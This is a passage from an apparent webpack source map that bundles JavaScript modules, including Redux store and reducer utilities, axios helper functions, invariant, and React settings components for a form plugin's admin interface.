function dispatch(action) {\n    if (!isPlainObject(action)) {\n      throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.');\n    }\n\n    if (typeof action.type === 'undefined') {\n      throw new Error('Actions may not have an undefined \"type\" property. ' + 'Have you misspelled a constant?');\n    }\n\n    if (isDispatching) {\n      throw new Error('Reducers may not dispatch actions.');\n    }\n\n    try {\n      isDispatching = true;\n      currentState = currentReducer(currentState, action);\n    } finally {\n      isDispatching = false;\n    }\n\n    var listeners = currentListeners = nextListeners;\n    for (var i = 0; i < listeners.length; i++) {\n      var listener = listeners[i];\n      listener();\n    }\n\n    return action;\n  }\n\n  /**\n   * Replaces the reducer currently used by the store to calculate the state.\n   *\n   * You might need this if your app implements code splitting and you want to\n   * load some of the reducers dynamically. You might also need this if you\n   * implement a hot reloading mechanism for Redux.\n   *\n   * @param {Function} nextReducer The reducer for the store to use instead.\n   * @returns {void}\n   */\n  function replaceReducer(nextReducer) {\n    if (typeof nextReducer !== 'function') {\n      throw new Error('Expected the nextReducer to be a function.');\n    }\n\n    currentReducer = nextReducer;\n    dispatch({ type: ActionTypes.REPLACE });\n  }\n\n  /**\n   * Interoperability point for observable/reactive libraries.\n   * @returns {observable} A minimal observable of state changes.\n   * For more information, see the observable proposal:\n   * https://github.com/tc39/proposal-observable\n   */\n  function observable() {\n    var _ref;\n\n    var outerSubscribe = subscribe;\n    return _ref = {\n      /**\n       * The minimal observable subscription method.\n       * @param {Object} observer Any object that can be used as an observer.\n       * The observer object should have a `next` method.\n       * @returns {subscription} An object with an `unsubscribe` method that can\n       * be used to unsubscribe the observable from the store, and prevent further\n       * emission of values from the observable.\n       */\n      subscribe: function subscribe(observer) {\n        if ((typeof observer === 'undefined' ? 'undefined' : _typeof(observer)) !== 'object' || observer === null) {\n          throw new TypeError('Expected the observer to be an object.');\n        }\n\n        function observeState() {\n          if (observer.next) {\n            observer.next(getState());\n          }\n        }\n\n        observeState();\n        var unsubscribe = outerSubscribe(observeState);\n        return { unsubscribe: unsubscribe };\n      }\n    }, _ref[$$observable] = function () {\n      return this;\n    }, _ref;\n  }\n\n  // When a store is created, an \"INIT\" action is dispatched so that every\n  // reducer returns their initial state. This effectively populates\n  // the initial state tree.\n  dispatch({ type: ActionTypes.INIT });\n\n  return _ref2 = {\n    dispatch: dispatch,\n    subscribe: subscribe,\n    getState: getState,\n    replaceReducer: replaceReducer\n  }, _ref2[$$observable] = observable, _ref2;\n}\n\n/**\n * Prints a warning in the console if it exists.\n *\n * @param {String} message The warning message.\n * @returns {void}\n */\nfunction warning(message) {\n  /* eslint-disable no-console */\n  if (typeof console !== 'undefined' && typeof console.error === 'function') {\n    console.error(message);\n  }\n  /* eslint-enable no-console */\n  try {\n    // This error was thrown as a convenience so that if you enable\n    // \"break on all exceptions\" in your console,\n    // it would pause the execution at this line.\n    throw new Error(message);\n  } catch (e) {} // eslint-disable-line no-empty\n}\n\nfunction getUndefinedStateErrorMessage(key, action) {\n  var actionType = action && action.type;\n  var actionDescription = actionType && 'action \"' + String(actionType) + '\"' || 'an action';\n\n  return 'Given ' + actionDescription + ', reducer \"' + key + '\" returned undefined. ' + 'To ignore an action, you must explicitly return the previous state. ' + 'If you want this reducer to hold no value, you can return null instead of undefined.';\n}\n\nfunction getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) {\n  var reducerKeys = Object.keys(reducers);\n  var argumentName = action && action.type === ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer';\n\n  if (reducerKeys.length === 0) {\n    return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.';\n  }\n\n  if (!isPlainObject(inputState)) {\n    return 'The ' + argumentName + ' has unexpected type of \"' + {}.toString.call(inputState).match(/\\s([a-z|A-Z]+)/)[1] + '\". Expected argument to be an object with the following ' + ('keys: \"' + reducerKeys.join('\", \"') + '\"');\n  }\n\n  var unexpectedKeys = Object.keys(inputState).filter(function (key) {\n    return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key];\n  });\n\n  unexpectedKeys.forEach(function (key) {\n    unexpectedKeyCache[key] = true;\n  });\n\n  if (action && action.type === ActionTypes.REPLACE) return;\n\n  if (unexpectedKeys.length > 0) {\n    return 'Unexpected ' + (unexpectedKeys.length > 1 ? 'keys' : 'key') + ' ' + ('\"' + unexpectedKeys.join('\", \"') + '\" found in ' + argumentName + '. ') + 'Expected to find one of the known reducer keys instead: ' + ('\"' + reducerKeys.join('\", \"') + '\". Unexpected keys will be ignored.');\n  }\n}\n\nfunction assertReducerShape(reducers) {\n  Object.keys(reducers).forEach(function (key) {\n    var reducer = reducers[key];\n    var initialState = reducer(undefined, { type: ActionTypes.INIT });\n\n    if (typeof initialState === 'undefined') {\n      throw new Error('Reducer \"' + key + '\" returned undefined during initialization. ' + 'If the state passed to the reducer is undefined, you must ' + 'explicitly return the initial state. The initial state may ' + 'not be undefined. If you don\\'t want to set a value for this reducer, ' + 'you can use null instead of undefined.');\n    }\n\n    var type = '@@redux/PROBE_UNKNOWN_ACTION_' + Math.random().toString(36).substring(7).split('').join('.');\n    if (typeof reducer(undefined, { type: type }) === 'undefined') {\n      throw new Error('Reducer \"' + key + '\" returned undefined when probed with a random type. ' + ('Don\\'t try to handle ' + ActionTypes.INIT + ' or other actions in \"redux/*\" ') + 'namespace. They are considered private. Instead, you must return the ' + 'current state for any unknown actions, unless it is undefined, ' + 'in which case you must return the initial state, regardless of the ' + 'action type. The initial state may not be undefined, but can be null.');\n    }\n  });\n}\n\n/**\n * Turns an object whose values are different reducer functions, into a single\n * reducer function. It will call every child reducer, and gather their results\n * into a single state object, whose keys correspond to the keys of the passed\n * reducer functions.\n *\n * @param {Object} reducers An object whose values correspond to different\n * reducer functions that need to be combined into one. One handy way to obtain\n * it is to use ES6 `import * as reducers` syntax. The reducers may never return\n * undefined for any action. Instead, they should return their initial state\n * if the state passed to them was undefined, and the current state for any\n * unrecognized action.\n *\n * @returns {Function} A reducer function that invokes every reducer inside the\n * passed object, and builds a state object with the same shape.\n */\nfunction combineReducers(reducers) {\n  var reducerKeys = Object.keys(reducers);\n  var finalReducers = {};\n  for (var i = 0; i < reducerKeys.length; i++) {\n    var key = reducerKeys[i];\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (typeof reducers[key] === 'undefined') {\n        warning('No reducer provided for key \"' + key + '\"');\n      }\n    }\n\n    if (typeof reducers[key] === 'function') {\n      finalReducers[key] = reducers[key];\n    }\n  }\n  var finalReducerKeys = Object.keys(finalReducers);\n\n  var unexpectedKeyCache = void 0;\n  if (process.env.NODE_ENV !== 'production') {\n    unexpectedKeyCache = {};\n  }\n\n  var shapeAssertionError = void 0;\n  try {\n    assertReducerShape(finalReducers);\n  } catch (e) {\n    shapeAssertionError = e;\n  }\n\n  return function combination() {\n    var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n    var action = arguments[1];\n\n    if (shapeAssertionError) {\n      throw shapeAssertionError;\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache);\n      if (warningMessage) {\n        warning(warningMessage);\n      }\n    }\n\n    var hasChanged = false;\n    var nextState = {};\n    for (var _i = 0; _i < finalReducerKeys.length; _i++) {\n      var _key = finalReducerKeys[_i];\n      var reducer = finalReducers[_key];\n      var previousStateForKey = state[_key];\n      var nextStateForKey = reducer(previousStateForKey, action);\n      if (typeof nextStateForKey === 'undefined') {\n        var errorMessage = getUndefinedStateErrorMessage(_key, action);\n        throw new Error(errorMessage);\n      }\n      nextState[_key] = nextStateForKey;\n      hasChanged = hasChanged || nextStateForKey !== previousStateForKey;\n    }\n    return hasChanged ? nextState : state;\n  };\n}\n\nfunction bindActionCreator(actionCreator, dispatch) {\n  return function () {\n    return dispatch(actionCreator.apply(this, arguments));\n  };\n}\n\n/**\n * Turns an object whose values are action creators, into an object with the\n * same keys, but with every function wrapped into a `dispatch` call so they\n * may be invoked directly. This is just a convenience method, as you can call\n * `store.dispatch(MyActionCreators.doSomething())` yourself just fine.\n *\n * For convenience, you can also pass a single function as the first argument,\n * and get a function in return.\n *\n * @param {Function|Object} actionCreators An object whose values are action\n * creator functions. One handy way to obtain it is to use ES6 `import * as`\n * syntax. You may also pass a single function.\n *\n * @param {Function} dispatch The `dispatch` function available on your Redux\n * store.\n *\n * @returns {Function|Object} The object mimicking the original object, but with\n * every action creator wrapped into the `dispatch` call. If you passed a\n * function as `actionCreators`, the return value will also be a single\n * function.\n */\nfunction bindActionCreators(actionCreators, dispatch) {\n  if (typeof actionCreators === 'function') {\n    return bindActionCreator(actionCreators, dispatch);\n  }\n\n  if ((typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) !== 'object' || actionCreators === null) {\n    throw new Error('bindActionCreators expected an object or a function, instead received ' + (actionCreators === null ? 'null' : typeof actionCreators === 'undefined' ? 'undefined' : _typeof(actionCreators)) + '. ' + 'Did you write \"import ActionCreators from\" instead of \"import * as ActionCreators from\"?');\n  }\n\n  var keys = Object.keys(actionCreators);\n  var boundActionCreators = {};\n  for (var i = 0; i < keys.length; i++) {\n    var key = keys[i];\n    var actionCreator = actionCreators[key];\n    if (typeof actionCreator === 'function') {\n      boundActionCreators[key] = bindActionCreator(actionCreator, dispatch);\n    }\n  }\n  return boundActionCreators;\n}\n\n/**\n * Composes single-argument functions from right to left. The rightmost\n * function can take multiple arguments as it provides the signature for\n * the resulting composite function.\n *\n * @param {...Function} funcs The functions to compose.\n * @returns {Function} A function obtained by composing the argument functions\n * from right to left. For example, compose(f, g, h) is identical to doing\n * (...args) => f(g(h(...args))).\n */\n\nfunction compose() {\n  for (var _len = arguments.length, funcs = Array(_len), _key = 0; _key < _len; _key++) {\n    funcs[_key] = arguments[_key];\n  }\n\n  if (funcs.length === 0) {\n    return function (arg) {\n      return arg;\n    };\n  }\n\n  if (funcs.length === 1) {\n    return funcs[0];\n  }\n\n  return funcs.reduce(function (a, b) {\n    return function () {\n      return a(b.apply(undefined, arguments));\n    };\n  });\n}\n\n/**\n * Creates a store enhancer that applies middleware to the dispatch method\n * of the Redux store. This is handy for a variety of tasks, such as expressing\n * asynchronous actions in a concise manner, or logging every action payload.\n *\n * See `redux-thunk` package as an example of the Redux middleware.\n *\n * Because middleware is potentially asynchronous, this should be the first\n * store enhancer in the composition chain.\n *\n * Note that each middleware will be given the `dispatch` and `getState` functions\n * as named arguments.\n *\n * @param {...Function} middlewares The middleware chain to be applied.\n * @returns {Function} A store enhancer applying the middleware.\n */\nfunction applyMiddleware() {\n  for (var _len = arguments.length, middlewares = Array(_len), _key = 0; _key < _len; _key++) {\n    middlewares[_key] = arguments[_key];\n  }\n\n  return function (createStore) {\n    return function () {\n      for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {\n        args[_key2] = arguments[_key2];\n      }\n\n      var store = createStore.apply(undefined, args);\n      var _dispatch = function dispatch() {\n        throw new Error('Dispatching while constructing your middleware is not allowed. ' + 'Other middleware would not be applied to this dispatch.');\n      };\n\n      var middlewareAPI = {\n        getState: store.getState,\n        dispatch: function dispatch() {\n          return _dispatch.apply(undefined, arguments);\n        }\n      };\n      var chain = middlewares.map(function (middleware) {\n        return middleware(middlewareAPI);\n      });\n      _dispatch = compose.apply(undefined, chain)(store.dispatch);\n\n      return _extends({}, store, {\n        dispatch: _dispatch\n      });\n    };\n  };\n}\n\n/*\n * This is a dummy function to check if the function name has been altered by minification.\n * If the function has been minified and NODE_ENV !== 'production', warn the user.\n */\nfunction isCrushed() {}\n\nif (process.env.NODE_ENV !== 'production' && typeof isCrushed.name === 'string' && isCrushed.name !== 'isCrushed') {\n  warning(\"You are currently using minified code outside of NODE_ENV === 'production'. \" + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or DefinePlugin for webpack (http://stackoverflow.com/questions/30030031) ' + 'to ensure you have the correct code for your production build.');\n}\n\nexport { createStore, combineReducers, bindActionCreators, applyMiddleware, compose, ActionTypes as __DO_NOT_USE__ActionTypes };\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/redux/es/redux.js\n// module id = 11\n// module chunks = 0 1 2 3 4","import React from 'react';\n\nexport default function Empty() {\n\treturn '';\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/empty.js","import Provider, { createProvider } from './components/Provider';\nimport connectAdvanced from './components/connectAdvanced';\nimport connect from './connect/connect';\n\nexport { Provider, createProvider, connectAdvanced, connect };\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/index.js\n// module id = 13\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar bind = require('./helpers/bind');\nvar isBuffer = require('is-buffer');\n\n/*global toString:true*/\n\n// utils is a library of generic helper functions non-specific to axios\n\nvar toString = Object.prototype.toString;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is an Array, otherwise false\n */\nfunction isArray(val) {\n  return toString.call(val) === '[object Array]';\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nfunction isArrayBuffer(val) {\n  return toString.call(val) === '[object ArrayBuffer]';\n}\n\n/**\n * Determine if a value is a FormData\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nfunction isFormData(val) {\n  return (typeof FormData !== 'undefined') && (val instanceof FormData);\n}\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  var result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (val.buffer instanceof ArrayBuffer);\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a String, otherwise false\n */\nfunction isString(val) {\n  return typeof val === 'string';\n}\n\n/**\n * Determine if a value is a Number\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a Number, otherwise false\n */\nfunction isNumber(val) {\n  return typeof val === 'number';\n}\n\n/**\n * Determine if a value is undefined\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nfunction isUndefined(val) {\n  return typeof val === 'undefined';\n}\n\n/**\n * Determine if a value is an Object\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is an Object, otherwise false\n */\nfunction isObject(val) {\n  return val !== null && typeof val === 'object';\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a Date, otherwise false\n */\nfunction isDate(val) {\n  return toString.call(val) === '[object Date]';\n}\n\n/**\n * Determine if a value is a File\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a File, otherwise false\n */\nfunction isFile(val) {\n  return toString.call(val) === '[object File]';\n}\n\n/**\n * Determine if a value is a Blob\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nfunction isBlob(val) {\n  return toString.call(val) === '[object Blob]';\n}\n\n/**\n * Determine if a value is a Function\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nfunction isFunction(val) {\n  return toString.call(val) === '[object Function]';\n}\n\n/**\n * Determine if a value is a Stream\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nfunction isStream(val) {\n  return isObject(val) && isFunction(val.pipe);\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {Object} val The value to test\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nfunction isURLSearchParams(val) {\n  return typeof URLSearchParams !== 'undefined' && val instanceof URLSearchParams;\n}\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n * @returns {String} The String freed of excess whitespace\n */\nfunction trim(str) {\n  return str.replace(/^\\s*/, '').replace(/\\s*$/, '');\n}\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n */\nfunction isStandardBrowserEnv() {\n  if (typeof navigator !== 'undefined' && navigator.product === 'ReactNative') {\n    return false;\n  }\n  return (\n    typeof window !== 'undefined' &&\n    typeof document !== 'undefined'\n  );\n}\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n */\nfunction forEach(obj, fn) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (var i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    for (var key in obj) {\n      if (Object.prototype.hasOwnProperty.call(obj, key)) {\n        fn.call(null, obj[key], key, obj);\n      }\n    }\n  }\n}\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  var result = {};\n  function assignValue(val, key) {\n    if (typeof result[key] === 'object' && typeof val === 'object') {\n      result[key] = merge(result[key], val);\n    } else {\n      result[key] = val;\n    }\n  }\n\n  for (var i = 0, l = arguments.length; i < l; i++) {\n    forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n * @return {Object} The resulting value of object a\n */\nfunction extend(a, b, thisArg) {\n  forEach(b, function assignValue(val, key) {\n    if (thisArg && typeof val === 'function') {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  });\n  return a;\n}\n\nmodule.exports = {\n  isArray: isArray,\n  isArrayBuffer: isArrayBuffer,\n  isBuffer: isBuffer,\n  isFormData: isFormData,\n  isArrayBufferView: isArrayBufferView,\n  isString: isString,\n  isNumber: isNumber,\n  isObject: isObject,\n  isUndefined: isUndefined,\n  isDate: isDate,\n  isFile: isFile,\n  isBlob: isBlob,\n  isFunction: isFunction,\n  isStream: isStream,\n  isURLSearchParams: isURLSearchParams,\n  isStandardBrowserEnv: isStandardBrowserEnv,\n  forEach: forEach,\n  merge: merge,\n  extend: extend,\n  trim: trim\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/axios/lib/utils.js\n// module id = 14\n// module chunks = 0 1 2 3 4","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n/**\n * Use invariant() to assert state which your program assumes to be true.\n *\n * Provide sprintf-style format (only %s is supported) and arguments\n * to provide information about what broke and what you were\n * expecting.\n *\n * The invariant message will be stripped in production, but the invariant\n * will remain to ensure logic does not differ in production.\n */\n\nvar invariant = function(condition, format, a, b, c, d, e, f) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (format === undefined) {\n      throw new Error('invariant requires an error message argument');\n    }\n  }\n\n  if (!condition) {\n    var error;\n    if (format === undefined) {\n      error = new Error(\n        'Minified exception occurred; use the non-minified dev environment ' +\n        'for the full error message and additional helpful warnings.'\n      );\n    } else {\n      var args = [a, b, c, d, e, f];\n      var argIndex = 0;\n      error = new Error(\n        format.replace(/%s/g, function() { return args[argIndex++]; })\n      );\n      error.name = 'Invariant Violation';\n    }\n\n    error.framesToPop = 1; // we don't care about invariant's own frame\n    throw error;\n  }\n};\n\nmodule.exports = invariant;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/invariant/browser.js\n// module id = 15\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\n\nexport default class SettingsRow extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst content = React.Children.map(\n\t\t\tthis.props.children,\n\t\t\tchildren => {\n\t\t\t\treturn children;\n\t\t\t}\n\t\t);\n\n\t\tlet label = '';\n\n\t\tif ( this.props.label && '' !== this.props.label ) {\n\t\t\tlabel = (\n\t\t\t\t<span className={\n\t\t\t\t\t'sui-settings-label' +\n\t\t\t\t\t`${ this.props.labelDark === true ? ' sui-dark' : '' }`\n\t\t\t\t}>\n\t\t\t\t\t{ this.props.label }\n\t\t\t\t</span>\n\t\t\t);\n\t\t}\n\n\t\tlet description = '';\n\t\tlet descriptionSpacing = 10;\n\n\t\tif ( ! _.isUndefined( this.props.descriptionSpacing ) && '' !== this.props.descriptionSpacing ) {\n\t\t\tdescriptionSpacing = this.props.descriptionSpacing;\n\t\t}\n\n\t\tif ( ! _.isUndefined( this.props.description ) && '' !== this.props.description ) {\n\t\t\tif ( this.props.sidebar === false ) {\n\t\t\t\tdescription = (\n\t\t\t\t\t<span\n\t\t\t\t\t\tclassName=\"sui-description\"\n\t\t\t\t\t\tstyle={ { marginBottom: descriptionSpacing + 'px' } }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ this.props.description }\n\t\t\t\t\t</span>\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tdescription = (\n\t\t\t\t\t<span className=\"sui-description\">{ this.props.description }</span>\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\tlet sidebar = '';\n\n\t\tif (\n\t\t\t( this.props.label && '' !== this.props.label ) ||\n\t\t\t( this.props.description && '' !== this.props.description )\n\t\t) {\n\t\t\tsidebar = (\n\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t{ label }\n\t\t\t\t\t{ description }\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\n\t\tconst conditionalStyles = this.props.lastChild\n\t\t\t? { marginBottom: 0, borderBottom: 'unset' }\n\t\t\t: {};\n\n\t\treturn (\n\t\t\t<div className=\"sui-box-settings-row\" style={ conditionalStyles }>\n\t\t\t\t{ ( _.isUndefined( this.props.sidebar ) || this.props.sidebar !== false ) &&\n\t\t\t\t\tsidebar\n\t\t\t\t}\n\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\t\t\t\t\t{ ( ! _.isUndefined( this.props.sidebar ) && this.props.sidebar === false ) &&\n\t\t\t\t\t\tlabel\n\t\t\t\t\t}\n\t\t\t\t\t{ ( ! _.isUndefined( this.props.sidebar ) && this.props.sidebar === false ) &&\n\t\t\t\t\t\tdescription\n\t\t\t\t\t}\n\t\t\t\t\t{ content }\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/containers/settings-row.js","import React, { Component } from 'react';\n\nexport default class SuiSelect2 extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t\tthis.afterSave = this.afterSave.bind( this );\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.$el = jQuery( this.el );\n\n\t\tconst parent = this.$el.closest( '.sui-modal-content' );\n\t\tconst parentId = parent.attr( 'id' );\n\t\tconst hasSearch = this.props.hasSearch ? 0 : -1;\n\n\t\tconst options = Object.assign(\n\t\t\t{\n\t\t\t\tdropdownParent: ( parent.length )\n\t\t\t\t\t? jQuery( '#' + parentId )\n\t\t\t\t\t: jQuery( 'body[class*=\"sui-\"]' ),\n\t\t\t\tminimumResultsForSearch: hasSearch,\n\t\t\t\tdropdownCssClass: this.$el.hasClass( 'sui-select-sm' )\n\t\t\t\t\t? 'sui-select-dropdown-sm'\n\t\t\t\t\t: '',\n\t\t\t\twidth: '100%',\n\t\t\t},\n\t\t\tthis.props.options\n\t\t);\n\n\t\tif ( typeof this.$el.SUIselect2 === 'function' ) {\n\t\t\tthis.$el.SUIselect2( options );\n\t\t} else if ( typeof this.$el.FUIselect2 === 'function' ) {\n\t\t\tthis.$el.FUIselect2( options );\n\t\t} else {\n\t\t\tthrow Error( 'SUI Select2 not initiated' );\n\t\t}\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t\tthis.$el.on( 'change', this.updateValue );\n\n\t\tif ( this.props.triggerChange ) {\n\t\t\tthis.$el.trigger( 'change' );\n\t\t}\n\t}\n\n\tupdateValue( e ) {\n\t\tconst value = jQuery( e.target ).val();\n\n\t\t// Check if we're on field settings\n\t\tif ( typeof this.props.updateProperty === 'function' ) {\n\t\t\t// Update field state\n\t\t\tthis.props.updateProperty( this.props.property, value );\n\t\t} else {\n\t\t\t// Update store\n\t\t\tthis.props.actions.settingsActions.updateSetting( this.props.property, value );\n\t\t}\n\n\t\tthis.afterSave( value );\n\t}\n\n\tafterSave() {\n\t\treturn false;\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.$el.off( 'change', this.updateValue );\n\t\tthis.$el.unbind().removeData();\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? this.props.defaultValue\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tconst divClass = ! _.isUndefined( this.props.fieldClass )\n\t\t\t? 'sui-form-field ' + this.props.fieldClass\n\t\t\t: 'sui-form-field';\n\n\t\tconst selectId = ! _.isUndefined( this.props.elementId )\n\t\t\t? this.props.elementId\n\t\t\t: this.props.property;\n\n\t\tlet inputLabel;\n\n\t\tif ( this.props.label ) {\n\t\t\tinputLabel = (\n\t\t\t\t<label\n\t\t\t\t\thtmlFor={ `forminator-field-${ this.props.property }` }\n\t\t\t\t\tclassName=\"sui-label\"\n\t\t\t\t>\n\t\t\t\t\t{ this.props.label }&nbsp;{ this.props.required &&\n\t\t\t\t\t\t<span className=\"sui-error\"> *</span>\n\t\t\t\t\t}\n\t\t\t\t\t{ this.props.note &&\n\t\t\t\t\t\t<span className=\"sui-label-note\">{ this.props.note }</span>\n\t\t\t\t\t}\n\t\t\t\t</label>\n\t\t\t);\n\t\t}\n\n\t\tconst multiple = this.props.multiple;\n\t\tconst { formType, updateProperty, noWrapper, fieldClass, staticContext, formDesign, fieldSize, ...selectProps } = this.props;\n\n\t\tconst getSelect = (\n\t\t\t<select\n\t\t\t\tid={ `forminator-field-${ selectId }` }\n\t\t\t\tclassName=\"sui-select\"\n\t\t\t\tref={ el => ( this.el = el ) }\n\t\t\t\tdefaultValue={ value }\n\t\t\t\tmultiple={ multiple }\n\t\t\t\t{ ...selectProps }\n\t\t\t>\n\t\t\t\t{this.props.children}\n\t\t\t</select>\n\t\t);\n\n\t\tlet getElement = (\n\t\t\t<select\n\t\t\t\tid={ `forminator-field-${ selectId }` }\n\t\t\t\tclassName=\"sui-select\"\n\t\t\t\tref={ el => ( this.el = el ) }\n\t\t\t\tdefaultValue={ value }\n\t\t\t\tmultiple={ multiple }\n\t\t\t>\n\t\t\t\t{this.props.children}\n\t\t\t</select>\n\t\t);\n\n\t\tif ( 'md' === this.props.fieldsize || 'medium' === this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div className=\"sui-form-field sui-input-md\">\n\t\t\t\t\t{ getSelect }\n\t\t\t\t</div>\n\t\t\t);\n\t\t} else if ( 'sm' === this.props.fieldsize || 'small' === this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div className=\"sui-form-field sui-input-sm\">\n\t\t\t\t\t{ getSelect }\n\t\t\t\t</div>\n\t\t\t);\n\t\t} else if ( ! _.isUndefined( this.props.fieldsize ) && '' !== this.props.fieldsize ) {\n\t\t\tgetElement = (\n\t\t\t\t<div style={ { width: '100%', maxWidth: this.props.fieldsize + 'px' } }>\n\t\t\t\t\t{ getSelect }\n\t\t\t\t</div>\n\t\t\t);\n\t\t}\n\n\t\tif ( this.props.noWrapper ) {\n\t\t\treturn getSelect;\n\t\t}\n\n\t\treturn (\n\t\t\t<div className={ divClass }>\n\n\t\t\t\t{ inputLabel }\n\n\t\t\t\t{ getElement }\n\n\t\t\t\t{ this.props.description && (\n\t\t\t\t\t<span\n\t\t\t\t\t\tclassName=\"sui-description\"\n\t\t\t\t\t\tstyle={ { marginTop: '10px' } }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ this.props.description }\n\t\t\t\t\t</span>\n\t\t\t\t) }\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/sui-select2.js","/**\n * Copyright (c) 2014-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @providesModule warning\n */\n\n'use strict';\n\n/**\n * Similar to invariant but only logs a warning if the condition is not met.\n * This can be used to log issues in development environments in critical\n * paths. Removing the logging code for production environments will keep the\n * same logic and follow the same code paths.\n */\n\nvar __DEV__ = process.env.NODE_ENV !== 'production';\n\nvar warning = function() {};\n\nif (__DEV__) {\n  var 